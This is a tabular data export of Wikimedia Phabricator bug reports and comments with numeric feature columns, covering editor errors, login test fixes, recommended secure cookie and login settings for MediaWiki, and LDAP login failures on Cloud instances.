526392,"Getting occasional ""Parsoidserver-http: HTTP 400"" error when editing Czech Wikipedia using VE",There are several similar problems being reported on https://en.wikipedia.org/wiki/Wikipedia:VisualEditor/Feedback#Strange_repeatable_error,,,1442215103,,PHID-USER-wrimmmr5w2zt7nk2t753,False,,,PHID-TASK-4qwlexi3l4f2dopv4xt3,task_subcomment,,True,c3,3,True,,,10,True,11.0,0.0,0.0,11.0,0.0,22.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,11.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,22.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,22.0,22.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.333333333333333,1.0,There are several similar problems being reported on URL
112410,[SocialLogin] Notice: First alias 'SocialLogin' for SocialLogin conflicts with canonical alias for sociallogin,Notice: First alias 'SocialLogin' for SocialLogin conflicts with canonical alias for sociallogin [Called from SpecialPageFactory::getAliasList in /vagrant/mediawiki/includes/specialpage/SpecialPageFactory.php at line 310] in /vagrant/mediawiki/includes/debug/MWDebug.php on line 300,Needs Triage,90.0,1442093823,1584949519.0,PHID-USER-v7bwpq3rs3zdxegibdbh,False,PHID-USER-hgn5uw2jafgjgfvxibhh,True,PHID-TASK-so3vctmlue66q7haivar,task_description,invalid,True,c3,3,True,False,False,10,True,0.0,0.0,0.0,0.0,0.0,9.0,0.0,0.0,0.0,0.0,4.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,17.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,26.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,17.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,17.0,11.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.608695652173913,0.6521739130434783,Notice: First alias 'SocialLogin' for SocialLogin conflicts with canonical alias for sociallogin [Called from SpecialPageFactory::getAliasList in /vagrant/mediawiki/includes/specialpage/SpecialPageFactory.php at line 310] in /vagrant/mediawiki/includes/debug/MWDebug.php on line 300
1469047,[SocialLogin] Notice: First alias 'SocialLogin' for SocialLogin conflicts with canonical alias for sociallogin,Tasks relating to this extension should be filed upstream: https://github.com/ajarzebowski/SocialLogin . Closing this task as invalid here.,,,1584949519,,PHID-USER-hgn5uw2jafgjgfvxibhh,False,,,PHID-TASK-so3vctmlue66q7haivar,task_subcomment,,True,c3,3,True,,,246,True,0.0,0.0,0.0,5.0,0.0,11.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,11.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,16.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,16.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,4.368421052631579,0.8947368421052632,Tasks relating to this extension should be filed upstream: URL . Closing this task as invalid here.
111489,Fix login browser tests,"These are not smoke tests so were broken by the change to use core login. Please ensure nothing got broken.
https://integration.wikimedia.org/ci/job/browsertests-MobileFrontend-en.m.wikipedia.beta.wmflabs.org-linux-firefox-sauce/806/",Needs Triage,90.0,1441339489,1441624679.0,PHID-USER-5dwuaigmkz2vzg65lape,False,PHID-USER-w3pd7vqenmta6vpmhwcn,False,PHID-TASK-gouantw3muaylxrp4c2d,task_description,resolved,True,c3,3,True,False,True,9,True,0.0,0.0,0.0,4.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,8.0,4.0,4.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,21.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,4.0,8.0,12.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,8.0,4.0,0.0,0.0,0.0,8.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.8333333333333335,0.9166666666666666,"These are not smoke tests so were broken by the change to use core login. Please ensure nothing got broken.
URL"
521942,Fix login browser tests,This is a technical task.,,,1441624679,,PHID-USER-w3pd7vqenmta6vpmhwcn,False,,,PHID-TASK-gouantw3muaylxrp4c2d,task_subcomment,,True,c3,3,True,,,9,True,0.0,0.0,0.0,0.0,0.0,17.0,17.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,17.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,17.0,17.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,17.0,17.0,17.0,0.0,0.0,33.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,17.0,0.0,0.0,0.0,0.0,0.0,3.5,1.0,This is a technical task.
521217,Fix login browser tests,"Change 236037 merged by jenkins-bot:
QA: Fix failing tests due to change to desktop login form

[[https://gerrit.wikimedia.org/r/236037]]",,,1441389283,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-gouantw3muaylxrp4c2d,task_subcomment,,True,c3,3,False,,,9,True,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,22.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,15.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,0.0,4.0,0.0,0.0,11.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,11.0,3.5555555555555554,0.8518518518518519,"Change 236037 merged by jenkins-bot:
QA: Fix failing tests due to change to desktop login form

[[GERRIT_URL]]"
521127,Fix login browser tests,"Change 236037 had a related patch set uploaded (by Jdlrobson):
Fix failing tests due to change to desktop login form

[[https://gerrit.wikimedia.org/r/236037]]
",,,1441383327,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-gouantw3muaylxrp4c2d,task_subcomment,,True,c3,3,False,,,9,True,0.0,0.0,0.0,0.0,0.0,10.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,10.0,0.0,3.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,20.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,13.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,7.0,0.0,3.0,0.0,0.0,10.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,3.0,0.0,0.0,10.0,3.8333333333333335,0.8666666666666667,"Change 236037 had a related patch set uploaded (by Jdlrobson):
Fix failing tests due to change to desktop login form

[[GERRIT_URL]]
"
111135,"LocalSettings.php lacks wgSecureLogin, wgCookieHttpOnly and wgCookieSecure","We recently installed WikiMedia 1.25. Around the same time, a sister project added a wiki. Both projects failed to enable wgSecureLogin and wgCookieSecure, and plain text passwords were used in subsequent logins.

According to documentation, the wiki installer is supposed to make a copy of DefaultSettings.php and provide them LocalSettings.php. We can edit LocalSettings.php, but we are not supposed to modify DefaultSettings.php (https://www.mediawiki.org/wiki/Manual:Configuration_Settings and https://www.mediawiki.org/wiki/Manual:LocalSettings.php).

However, LocalSettings.php did not have wgSecureLogin, wgCookieHttpOnly and wgCookieSecure configuration settings that were present in DefaultSettings.php.

I can't help but feel if the installer copied the settings, then it would have alerted me (and the sister project's administrator) to tune the configuration. In their absence, I (and the sister project's administrator) incorrectly assumed MediaWiki did the right thing and had a secure default.

To be clear, folks who run an HTTPS server expect something like the following to be secure and consistent with best practices:

    $wgSecureLogin = true;
    $wgCookieHttpOnly = true;
    $wgCookieSecure = detect;

It would probably be a very good idea to ensure wgSecureLogin, wgCookieHttpOnly and wgCookieSecure are present in LocalSetttings.php created in the field, with appropriate comments stating when to change `wgSecureLogin = false` to `wgSecureLogin = true`.",Needs Triage,90.0,1441155537,,PHID-USER-feaw6xhb25emsrbrabcc,False,,False,PHID-TASK-plmtgcycn7hz2vchgfru,task_description,open,True,c3,3,False,False,,8,True,0.0,0.3333333333333333,0.3333333333333333,1.0,1.0,6.333333333333333,2.0,0.0,0.0,0.3333333333333333,2.3333333333333335,0.3333333333333333,0.0,0.0,0.0,2.0,0.0,4.666666666666667,8.666666666666666,0.3333333333333333,3.0,0.0,0.0,0.0,3.3333333333333335,0.6666666666666666,0.0,0.3333333333333333,0.3333333333333333,0.6666666666666666,0.3333333333333333,2.6666666666666665,2.3333333333333335,0.6666666666666666,1.3333333333333333,0.0,0.0,0.0,0.6666666666666666,0.3333333333333333,0.0,0.6666666666666666,0.3333333333333333,1.3333333333333333,0.0,2.0,0.0,0.3333333333333333,0.0,13.0,0.0,0.0,0.0,0.0,0.3333333333333333,0.3333333333333333,0.0,0.3333333333333333,1.0,0.0,0.6666666666666666,1.3333333333333333,0.0,0.0,0.0,0.6666666666666666,0.3333333333333333,5.666666666666667,3.0,8.666666666666666,0.6666666666666666,4.333333333333333,6.0,0.0,0.0,0.0,0.0,6.0,0.0,1.3333333333333333,0.0,4.333333333333333,8.666666666666666,3.0,0.0,0.0,0.0,4.333333333333333,0.0,1.3333333333333333,2.3333333333333335,0.6666666666666666,0.6666666666666666,0.0,0.3333333333333333,0.0,4.939560439560439,0.6995781995781996,"We recently installed WikiMedia 1.25. Around the same time, a sister project added a wiki. Both projects failed to enable wgSecureLogin and wgCookieSecure, and plain text passwords were used in subsequent logins.

According to documentation, the wiki installer is supposed to make a copy of DefaultSettings.php and provide them LocalSettings.php. We can edit LocalSettings.php, but we are not supposed to modify DefaultSettings.php (URL and URL

However, LocalSettings.php did not have wgSecureLogin, wgCookieHttpOnly and wgCookieSecure configuration settings that were present in DefaultSettings.php.

I can't help but feel if the installer copied the settings, then it would have alerted me (and the sister project's administrator) to tune the configuration. In their absence, I (and the sister project's administrator) incorrectly assumed MediaWiki did the right thing and had a secure default.

To be clear, folks who run an HTTPS server expect something like the following to be secure and consistent with best practices:

    $wgSecureLogin = true;
    $wgCookieHttpOnly = true;
    $wgCookieSecure = detect;

It would probably be a very good idea to ensure wgSecureLogin, wgCookieHttpOnly and wgCookieSecure are present in LocalSetttings.php created in the field, with appropriate comments stating when to change CODE to CODE."
111135,"LocalSettings.php lacks wgSecureLogin, wgCookieHttpOnly and wgCookieSecure","We recently installed WikiMedia 1.25. Around the same time, a sister project added a wiki. Both projects failed to enable wgSecureLogin and wgCookieSecure, and plain text passwords were used in subsequent logins.

According to documentation, the wiki installer is supposed to make a copy of DefaultSettings.php and provide them LocalSettings.php. We can edit LocalSettings.php, but we are not supposed to modify DefaultSettings.php (https://www.mediawiki.org/wiki/Manual:Configuration_Settings and https://www.mediawiki.org/wiki/Manual:LocalSettings.php).

However, LocalSettings.php did not have wgSecureLogin, wgCookieHttpOnly and wgCookieSecure configuration settings that were present in DefaultSettings.php.

I can't help but feel if the installer copied the settings, then it would have alerted me (and the sister project's administrator) to tune the configuration. In their absence, I (and the sister project's administrator) incorrectly assumed MediaWiki did the right thing and had a secure default.

To be clear, folks who run an HTTPS server expect something like the following to be secure and consistent with best practices:

    $wgSecureLogin = true;
    $wgCookieHttpOnly = true;
    $wgCookieSecure = detect;

It would probably be a very good idea to ensure wgSecureLogin, wgCookieHttpOnly and wgCookieSecure are present in LocalSetttings.php created in the field, with appropriate comments stating when to change `wgSecureLogin = false` to `wgSecureLogin = true`.",Needs Triage,90.0,1441155537,,PHID-USER-feaw6xhb25emsrbrabcc,False,,False,PHID-TASK-plmtgcycn7hz2vchgfru,task_description,open,True,c3,3,False,False,,8,True,0.0,0.3333333333333333,0.3333333333333333,1.0,1.0,6.333333333333333,2.0,0.0,0.0,0.3333333333333333,2.3333333333333335,0.3333333333333333,0.0,0.0,0.0,2.0,0.0,4.666666666666667,8.666666666666666,0.3333333333333333,3.0,0.0,0.0,0.0,3.3333333333333335,0.6666666666666666,0.0,0.3333333333333333,0.3333333333333333,0.6666666666666666,0.3333333333333333,2.6666666666666665,2.3333333333333335,0.6666666666666666,1.3333333333333333,0.0,0.0,0.0,0.6666666666666666,0.3333333333333333,0.0,0.6666666666666666,0.3333333333333333,1.3333333333333333,0.0,2.0,0.0,0.3333333333333333,0.0,13.0,0.0,0.0,0.0,0.0,0.3333333333333333,0.3333333333333333,0.0,0.3333333333333333,1.0,0.0,0.6666666666666666,1.3333333333333333,0.0,0.0,0.0,0.6666666666666666,0.3333333333333333,5.666666666666667,3.0,8.666666666666666,0.6666666666666666,4.333333333333333,6.0,0.0,0.0,0.0,0.0,6.0,0.0,1.3333333333333333,0.0,4.333333333333333,8.666666666666666,3.0,0.0,0.0,0.0,4.333333333333333,0.0,1.3333333333333333,2.3333333333333335,0.6666666666666666,0.6666666666666666,0.0,0.3333333333333333,0.0,4.939560439560439,0.6995781995781996,"We recently installed WikiMedia 1.25. Around the same time, a sister project added a wiki. Both projects failed to enable wgSecureLogin and wgCookieSecure, and plain text passwords were used in subsequent logins.

According to documentation, the wiki installer is supposed to make a copy of DefaultSettings.php and provide them LocalSettings.php. We can edit LocalSettings.php, but we are not supposed to modify DefaultSettings.php (URL and URL

However, LocalSettings.php did not have wgSecureLogin, wgCookieHttpOnly and wgCookieSecure configuration settings that were present in DefaultSettings.php.

I can't help but feel if the installer copied the settings, then it would have alerted me (and the sister project's administrator) to tune the configuration. In their absence, I (and the sister project's administrator) incorrectly assumed MediaWiki did the right thing and had a secure default.

To be clear, folks who run an HTTPS server expect something like the following to be secure and consistent with best practices:

    $wgSecureLogin = true;
    $wgCookieHttpOnly = true;
    $wgCookieSecure = detect;

It would probably be a very good idea to ensure wgSecureLogin, wgCookieHttpOnly and wgCookieSecure are present in LocalSetttings.php created in the field, with appropriate comments stating when to change CODE to CODE."
1692131,"LocalSettings.php lacks wgSecureLogin, wgCookieHttpOnly and wgCookieSecure","```
$wgCookieHttpOnly = true;
$wgCookieSecure = detect;
```
Are the defaults in DefaultSettings.php.


`$wgSecureLogin` could be set to true, but that only works if the `$wgServer` value is protocol relative.
Using `$wgForceHTTPS` is a better choice.

",,,1616677956,,PHID-USER-ocoec2m74xxi5ju2tb2i,False,,,PHID-TASK-plmtgcycn7hz2vchgfru,task_subcomment,,True,c3,3,False,,,299,True,0.0,0.0,0.0,0.0,0.0,10.0,10.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,10.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,10.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,10.0,10.0,10.0,0.0,0.0,10.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,10.0,0.0,0.0,0.0,0.0,0.0,0.0,10.0,0.0,0.0,10.0,0.0,0.0,7.4,0.8,"``CODE`CODE$wgSecureLoginCODE$wgServerCODE$wgForceHTTPS` is a better choice.

"
1692131,"LocalSettings.php lacks wgSecureLogin, wgCookieHttpOnly and wgCookieSecure","```
$wgCookieHttpOnly = true;
$wgCookieSecure = detect;
```
Are the defaults in DefaultSettings.php.


`$wgSecureLogin` could be set to true, but that only works if the `$wgServer` value is protocol relative.
Using `$wgForceHTTPS` is a better choice.

",,,1616677956,,PHID-USER-ocoec2m74xxi5ju2tb2i,False,,,PHID-TASK-plmtgcycn7hz2vchgfru,task_subcomment,,True,c3,3,False,,,299,True,0.0,0.0,0.0,0.0,0.0,10.0,10.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,10.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,10.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,10.0,10.0,10.0,0.0,0.0,10.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,10.0,0.0,0.0,0.0,0.0,0.0,0.0,10.0,0.0,0.0,10.0,0.0,0.0,7.4,0.8,"``CODE`CODE$wgSecureLoginCODE$wgServerCODE$wgForceHTTPS` is a better choice.

"
110891,Logins fail on new instances,Restarting nslcd on an instance resolves the issue.,Needs Triage,90.0,1441030852,1441067085.0,PHID-USER-22bsa5u75jz3ci3wnplu,False,PHID-USER-22bsa5u75jz3ci3wnplu,False,PHID-TASK-slwh4ngu6ytstghfdv56,task_description,resolved,True,c3,3,True,True,True,8,True,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,33.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,22.0,0.0,11.0,0.0,0.0,22.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,0.0,11.0,0.0,0.0,0.0,4.888888888888889,1.0,Restarting nslcd on an instance resolves the issue.
518093,Logins fail on new instances,"yep, fixed on Trusty as well.  New images are live now.",,,1441067085,,PHID-USER-22bsa5u75jz3ci3wnplu,False,,,PHID-TASK-slwh4ngu6ytstghfdv56,task_subcomment,,True,c3,3,True,,,8,True,0.0,0.0,0.0,0.0,0.0,13.0,7.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,20.0,7.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,7.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,13.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,7.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.9333333333333333,"yep, fixed on Trusty as well.  New images are live now."
518070,Logins fail on new instances,https://gerrit.wikimedia.org/r/235142 looks to have fixed Jessie.  I've also forced a restart of nslcd everywhere that salt can reach.,,,1441064794,,PHID-USER-22bsa5u75jz3ci3wnplu,False,,,PHID-TASK-slwh4ngu6ytstghfdv56,task_subcomment,,True,c3,3,True,,,8,True,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,5.0,0.0,9.0,9.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,9.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,14.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,14.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,9.0,0.0,0.0,0.0,5.0,9.0,9.0,0.0,0.0,0.0,5.0,0.0,5.0,5.0,0.0,0.0,0.0,0.0,0.0,4.090909090909091,0.9545454545454546,GERRIT_URL looks to have fixed Jessie.  I've also forced a restart of nslcd everywhere that salt can reach.
518026,Logins fail on new instances,"Change 235142 merged by Andrew Bogott:
Copy over ca-certificates to labs base image

[[https://gerrit.wikimedia.org/r/235142]]",,,1441061226,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-slwh4ngu6ytstghfdv56,task_subcomment,,True,c3,3,False,,,8,True,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,13.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,17.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,22.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,9.0,0.0,4.0,0.0,0.0,13.0,13.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,13.0,3.8260869565217392,0.9130434782608695,"Change 235142 merged by Andrew Bogott:
Copy over ca-certificates to labs base image

[[GERRIT_URL]]"
518024,Logins fail on new instances,"Change 235142 had a related patch set uploaded (by Andrew Bogott):
Copy over ca-certificates to labs base image

[[https://gerrit.wikimedia.org/r/235142]]
",,,1441061169,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-slwh4ngu6ytstghfdv56,task_subcomment,,True,c3,3,False,,,8,True,0.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,10.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,20.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,17.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,3.0,0.0,3.0,0.0,0.0,10.0,10.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,10.0,3.7333333333333334,0.9,"Change 235142 had a related patch set uploaded (by Andrew Bogott):
Copy over ca-certificates to labs base image

[[GERRIT_URL]]
"
517688,Logins fail on new instances,"Change 235011 merged by Andrew Bogott:
Add more nslcd notifying

[[https://gerrit.wikimedia.org/r/235011]]",,,1441033169,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-slwh4ngu6ytstghfdv56,task_subcomment,,True,c3,3,False,,,8,True,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,17.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,28.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,6.0,0.0,0.0,6.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,17.0,3.9444444444444446,0.8888888888888888,"Change 235011 merged by Andrew Bogott:
Add more nslcd notifying

[[GERRIT_URL]]"
517685,Logins fail on new instances,"Change 235011 had a related patch set uploaded (by Andrew Bogott):
Add more nslcd notifying.

[[https://gerrit.wikimedia.org/r/235011]]
",,,1441033044,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-slwh4ngu6ytstghfdv56,task_subcomment,,True,c3,3,False,,,8,True,0.0,0.0,0.0,0.0,0.0,12.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,15.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,19.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,4.0,0.0,4.0,0.0,0.0,4.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,4.0,0.0,12.0,3.6923076923076925,0.8846153846153846,"Change 235011 had a related patch set uploaded (by Andrew Bogott):
Add more nslcd notifying.

[[GERRIT_URL]]
"
517677,Logins fail on new instances,"Change 235006 merged by Andrew Bogott:
Explicitly include nslcd package.

[[https://gerrit.wikimedia.org/r/235006]]",,,1441032199,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-slwh4ngu6ytstghfdv56,task_subcomment,,True,c3,3,False,,,8,True,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,16.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,26.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,5.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,16.0,4.2105263157894735,0.8947368421052632,"Change 235006 merged by Andrew Bogott:
Explicitly include nslcd package.

[[GERRIT_URL]]"
517676,Logins fail on new instances,"Change 235006 had a related patch set uploaded (by Andrew Bogott):
Explicitly include nslcd package.

[[https://gerrit.wikimedia.org/r/235006]]
",,,1441032081,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-slwh4ngu6ytstghfdv56,task_subcomment,,True,c3,3,False,,,8,True,0.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,4.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,15.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,19.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,4.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,12.0,4.0,0.8846153846153846,"Change 235006 had a related patch set uploaded (by Andrew Bogott):
Explicitly include nslcd package.

[[GERRIT_URL]]
"
517673,Logins fail on new instances,"Change 235005 merged by Andrew Bogott:
Make ldap/nscd/nslcd install order more explicit.

